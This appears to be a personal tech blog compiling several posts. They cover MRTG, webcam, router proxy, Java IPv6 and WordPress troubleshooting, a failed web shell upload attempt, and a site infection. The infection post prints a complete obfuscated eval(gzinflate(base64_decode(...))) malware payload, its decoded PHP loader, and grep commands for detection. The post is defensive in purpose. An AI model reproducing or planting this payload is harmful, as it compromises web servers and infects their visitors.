My site hockeysnack.com has been under hacker attack lately. Well, it is constantly under attack by bots but this time the site was targeted by a real hacker. The hacker first signed up as a regular user with the clever username ”putinn” and then he started to upload various scripts wherever he could.

Uploading php-scripts is forbidden (in code) so he tried to upload the script as other file formats. This is what he tried to upload:
shell.php.jpg
shell.php_1.jpg
shell.php.jpg
shell.php.html
shell.php.mp3

Fortunately I had already written protection against such attacks so the hacker had no luck and went somewhere else. When I found out about the attack I started to investigate it further. The attack uses the eval(base64_decode( attack vector, the same as I discovered earlier. For fun and curiosity I ran the attack code in a sandbox environment. What shoved up was a shell called n3tshell.

n3tshell

It contains so many features, like brute force ftp and sql querying etc. The image above shows the menu and a complete file browser which could edit/delete/create files.

n3tshell

This picture above shows more features. The attacker can execute all commands that are available for the user running the web server process. He could also upload files and do much more. It is a very powerful tool if the hacker manages to get the script running on the server.

The conclusion is to take ”submit/upload” threat very seriously. Everything that a user could submit to your site has to be checked for EVERY POSSIBLE attack vector.

Today I had problem with MRTG’s cfgmaker. When I used the parameter ifdesc=alias it didn’t pick up the correct SNMP OID’s, instead it defaulted to ifdesc=desc. Hmm, very strange. Then I started to investigate the problem and found out that cfgmaker can be debugged because it is a perl script.

To be able to debug cfgmaker you only have to edit one line at the top of the program.
@main::DEBUG=qw(base snpo snpd);

After doing this I ran cfgmaker again and spotted that it did not do any SNMP walk on alias (ifAlias). It turns out that cfgmaker has to know what kind of hardware it is polling to be able to use ”alias”. In my case I was polling an ”Ericsson SSR 8020″ which wasn’t recognized by cfgmaker.

I had to add ”Ericsson” to the vendor identification list. If your hardware is not in that list, you can’t use the alias option.

# vendor identification
debug('base',"$DevInfo{sysObjectID}");
my %vendorIDs = (
# Add your vendor here
# sysObjectID Vendora
'1.3.6.1.4.1.43.' => '3com',
'1.3.6.1.4.1.11.' => 'hp',
'1.3.6.1.4.1.9.' => 'cisco',
'1.3.6.1.4.1.674.10895.' => 'dellLan',
'1.3.6.1.4.1.1916.' => 'extremenetworks',
'1.3.6.1.4.1.1991.' => 'foundry',
'1.3.6.1.4.1.6027.' => 'force10',
'1.3.6.1.4.1.2636.' => 'juniper',
'1.3.6.1.4.1.94.' => 'nokiaipsofw',
'1.3.6.1.4.1.307.' => 'portmaster',
'1.3.6.1.4.1.2352.1.17' => 'ericsson'
);
foreach (keys %vendorIDs) {
$DevInfo{Vendor} = $vendorIDs{$_} if ($DevInfo{sysObjectID} =~ /\Q$_\E/);
}
debug('base',"Vendor Id: $DevInfo{Vendor}");

Then ericsson had to be added to the InterfaceInfo subroutine:


if ($routers->{$router}{deviceinfo}{Vendor} eq 'cisco' &&
$routers->{$router}{deviceinfo}{sysDescr} =~ m/Version\s+(\d+\.\d+)/) {
push @Variables, ($1 > 11.0 or $1 < 10.0 ) ? "ifAlias" : "CiscolocIfDescr";
if ($1 > 11.2) {push @Variables, "vmVlan";};
if ($1 > 11.3) {push @Variables, "vlanTrunkPortDynamicStatus";};
} elsif ( $routers->{$router}{deviceinfo}{Vendor} =~ /(?:hp|juniper|foundry|dellLan|force10|3com|extremenetworks|ericsson)/) {
push @Variables, "ifAlias";
}

Then it worked! cfgmaker finally walked ifAlias for the interfaces.

I bought this really cheap webcam from DealExtreme. That camera is now providing one of my websites with live images. The cameras internal webserver can’t handle that many request, so I am using the ftp-feature to upload images to my web server.

webcam

One problem is that each photo’s filename consists of a timestamp, like ”20130404_1223.jpg”. Instead I want the filename to be something like ”webcam.jpg”. Another problem is that the ftp feature fill my webserver with too many photos, so I need to purge the upload directory.

I wrote this script that purges the upload directory from ALL but THE LATEST photo. It also renames the remaining photo to webcam.jpg as I wanted.

#!/usr/local/bin/bash
cd /path/to/webcamftp
(ls -rt *.jpg|tail -n 1;ls *.jpg)|sort|uniq -u|xargs rm
ls *.jpg | xargs -I '{}' mv '{}' webcam.jpg

Om du har ADSL bredband från Telia så har du antagligen en Thomson TG789vn router därhemma. Jag har en sådan och har letat efter ett sätt att kunna administrera den över Internet då jag inte är hemma. Det verkar tyvärr inte finnas stöd för detta i routerns Telia-strypta programvara.

TG789vn

Ett sätt att komma runt detta är att man sätter upp en reverse proxy. I ‘mitt fall så löste jag det genom att använda mod_proxy i den apache webbserver som jag har igång hemma och som är öppnad (port forward port 80) mot Internet. Utöver det så har jag ett dynamiskt domän-namn kopplat mot servern.

Så här gick jag till väga:

1. Först skapade jag en egen subdomän kallad http://router.dindomän.com och pekade den mot servern.

2. Kollade så att apache har mod_proxy enablat i /usr/local/etc/apache22/httpd.conf

LoadModule proxy_module libexec/apache22/mod_proxy.so
LoadModule proxy_http_module libexec/apache22/mod_proxy_http.so
LoadModule xml2enc_module     libexec/apache22/mod_xml2enc.so
LoadFile   /usr/local/lib/libxml2.so
LoadModule proxy_html_module  libexec/apache22/mod_proxy_html.so

2. Skapade en användare för att lösenordsskydda routern. Username nedan är användarnamnet, lösenordet skriver man på förfrågan.

 htpasswd -c /usr/local/etc/router.user username

3. Lade in följande i apaches configurationför virtualhosts i /usr/local/etc/apache22/extra/httpd-vhosts.conf. 192.168.1.1 är den IP-adress som routern har på hemma-nätverket. Routern skyddas av BASIC-autentisering.

<Virtualhost *>
  ServerName router.domainname.com
  ProxyRequests Off
  <Proxy *>
     Order deny,allow
     Allow from all
    AuthType Basic
    AuthName "Password Required"
    AuthUserFile  /usr/local/etc/router.user
    Require valid-user
  </Proxy>

    ProxyPass / http://192.168.1.1/
    ProxyPassReverse / http://192.168.1.1

 </Virtualhost>

4. Starta om apache och besök webbsidan http://router.dindomän.com. Thomson boxens admin-sida bör nu dyka upp efter att du matat in användarnamn och lösenord.

Det var alles, happy administration!

I have recently discovered that one of my sites were spreading a trojan virus called ”JS_Agent-AXQ”. Somehow ”the attack” had gained access to my server and written code to the head of some php files. When the inserted code was executed, by the unsuspected visitor, it showed popup ads and god know what. My guess is that an outdated WordPress installation, a WP plugin/theme or an old forum had a vulnerability that made my server a target. From now on I will surely keep my WordPress-installations updated!

The injected code is quite clever, you can't really know what it is doing because the code is confuscated.

eval(gzinflate(base64_decode('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')));

If I remove the ”eval” code and print it (echo gzinflate(base64_decode('….')) I get this:

error_reporting(0);
$ip=$_SERVER['REMOTE_ADDR'];$dr=$_SERVER['DOCUMENT_ROOT'];$dbf=$dr.'/'.md5(date('m.d.y'));
$odbf = $dr.'/'.md5(date('m.d.y',time()-86400));
if (file_exists($odbf))@unlink($odbf);
if(strpos(@file_get_contents($dbf),$ip) === false){
		print('');
		if ($fp = @fopen($dbf , 'a')){fputs($fp , $ip.'|'); fclose($fp);}
}

The code prints out a script-tag with base64 encoded string, however I can't write that decoded string to this post because my PC antivirus program then blocks the page. And probably yours to. Decode the base64 string yourself. The javascript is also obfuscated I haven't tried to figure out what it does. From what I can tell it writes to the body of the document.

Are your server infected?
Run the command ”grep -lr 'eval(gzinflate' *” on your webfiles and find out. It will list all infected files. You could also run ”grep -lr 'eval(base64_decode' *” to find code injections from its evil twin.

Read more about it
Fixing an infected php web server
c99madshell security review

The next step for me is to reinstall my FreeBSd webserver after many years in service. Changing every password and updating every third party software on the way… :)

One day I got this message that said ”do you want to update java to the latest version”, which I then accepted. However, after the update everything ”java” running in Internet Explorer and Firefox stopped working. The testpages (JavaTest 1,
JavaTest 2) did not work, all they said was ”JavaVersionDisplayApplet.class ClassNotFoundException” and ”testjava2_1.testvmapplet.class ClassNotFoundException”.

I then tried to uninstall and reinstall everything Java on my Windows 7 64-bit machine. Tried both the 32 and 64 bit Java version, tried both the jdk and the jre. Nothing worked! After a couple of hours I found this thread that lead me in the right direction.

Solution
1) Go to the ”windows control panel” and press the Java icon. Alternatively, go to your jre folder and execute ”javacpl.exe”. If you have multiple jre’s installed then only change one of them because I think they overwrite eachothers settings.

2) Go to the Java-tab and change ”settings for java runtime environment”. Add ”-Djava.net.preferIPv4Stack=true” to the run paramaters for your jre. When you are done with this step it should work again. Restart your browser and test your java.

It should look like this (in swedish)
jre-control-panel

3) If you are still having problem, check the ”network settings” in the java control panel.

4) A good way to ”debug” java jre trouble like this is to enable the java console. This can be done in the ”advanced” tab of the java control panel. By enabling the console you get a window which shows valuable debug information.

I think this problem is somehow related to our network at work which is IPv6 enabled. Or perhaps it is our VPN that uses IPv6. Well, I have given this problem to much attention. Back to work…

Today I was developing at work as usual at work, however I used the wifi connection because the cabled network was not working. My first problem for the day was that Eclipse could not connect to repositories when trying to install new software. All I got was ”permission denied” errors and…

org.eclipse.equinox.p2.core.ProvisionException Unable to read repository at http://download.eclipse.org/releases/indigo/content.xml

Solution: Add ”-Djava.net.preferIPv4Stack=true” to eclipse.ini

My second problem was that I got really strange errors from my local Resin Application Server. It could not connect to my local SQl-server.

Solution: Add ”-Djava.net.preferIPv4Stack=true” to Resin jvm start arguments

My conclusion is that because our wifi network uses IPv6 then Java uses that instead of IPv4 if not clearly stated. And the applications that I was using was not ”configured” for IPv6 usage.

I am doing a lot of javascript coding nowadays with knockout.js and jQuery. Working in Firefox and Firebug make you forget all those nasty habits of Internet Explorer, until the releasedate is coming closer. ho ho! This was one nasty ”thing” that I had forgotten. Console.log is only available in ”debug mode” (hit F12) in Internet Explorer. If you are calling console.log in ”standard mode” your webpage breaks.

One solution is to remove all logging and another one is to follow ”Mister Lucky’s” comment at stackoverflow and declare console.log like this:

if (!('console' in this)) console={};
'log info warn error dir clear'.replace(/\w+/g,function(f) {
if (!(f in console)) console[f]=console.log||new Function;
});

Now I never forget this silly one…

I ran into a very strange problem in one of my WordPress sites. Some shortcode tags (Shortcode API) for a plugin did not work properly. In my case it was the ”NextGEN Gallery Version 1.9.3″ plugin that couldn’t show a photo album, no photos where shown. Then I did some serious troubleshooting by looking into the source code of that plugin. I found out that the shortcode ”album” was misbehaving. It generated its output correctly but it were not shown on the webpage.

Then I began to realize that it was a case of shortcode conflict between my installed plugins. Two of my activated plugins used the same shortcode ”album”. After enabling and disabling my other plugins I found out that the ”Simple Facebook Connect Version 1.3 ” plugin caused the problem. Luckily I did not use that plugin any longer so I disabled and deleted it. If I really would have needed that plugin I would have to rewrite the source code of one of the plugins to change the shortcodes that conflicted.

This is something that WordPress users should be aware of, my guess is that there are a lot of conflicts between plugins that causes very random errors.